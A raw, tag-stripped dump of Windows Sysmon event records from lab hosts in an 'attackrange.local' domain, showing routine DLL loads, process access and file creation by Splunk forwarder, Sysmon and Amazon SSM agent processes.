Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.386{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.385{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000054222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.385{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.384{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.384{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 10341000x800000000000000054219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.383{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.383{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.383{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.383{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.383{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000054214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.382{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000054213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.382{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000054212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.382{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000054211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:19.381{7BD73061-73F3-613B-880B-00000000F001}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017399Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:20.742{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=779C04A07AE95B1E82B0825C7D9F5AB4,SHA256=FE31D9C903248E7E21731F2963E3BD737DDDCDF0FBB5B2041D25CA4DF03883B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017398Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:20.740{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-049MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000054368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.790{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.772{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.772{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.772{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.772{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.772{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.772{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.772{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.772{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:20.757{7BD73061-73F4-613B-8A0B-00000000F001}5540C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 